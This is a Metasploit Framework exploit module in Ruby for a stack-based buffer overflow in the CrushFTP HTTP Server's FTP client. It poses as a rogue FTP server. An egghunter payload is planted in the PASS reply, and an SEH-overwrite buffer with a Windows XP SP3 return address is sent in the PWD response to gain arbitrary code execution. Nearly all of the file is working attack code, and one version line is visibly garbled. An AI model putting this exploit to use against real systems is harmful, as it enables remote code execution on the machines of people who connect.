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##
# $Id: CrushFTP_HTTP_Server.rb 11039 2010-11-14 19:03:24Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'CrushFTP HTTP Server Stack Buffer Overflow (PWD)',
'Description' => %q{
This module exploits a buffer overflow in CrushFTP HTTP Server ftp client.
When processing the response on a PWD command, a stack based buffer overflow occurs.
This leads to arbitrary code execution when a structured exception handler gets
overwritten.
},
'Author' =>
[
'Angel Injection', # found the bug
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 11039 ___FCKpd___0quot;,
'References' =>
[
[ 'OSVDB', '16869'],
[ 'URL', 'http://www.1337day.com/exploits/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
badchars = ""
eggoptions =
{
:checksum => true,
:eggtag => "W00T"
}
@hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions)
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_pass(c,arg)
@state[c][:pass] = arg
c.put("230 OK #{@egg}\r\n")
return
end
def on_client_command_pwd(c,arg)
junk1 = "A" * target['Offset']
junk2 = "A" * 9
nseh = "\x74\x06\x41\x41"
jmp = "\x75\x08"
seh = [target.ret].pack('V')
junk3 = "D" * 22000
#dual offset
buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk3
c.put("257 \"/\" #{buffer}\r\n")
print_status("Sent payload, #{buffer.length} bytes")
print_status("Wait for hunter ...")
return
end
end
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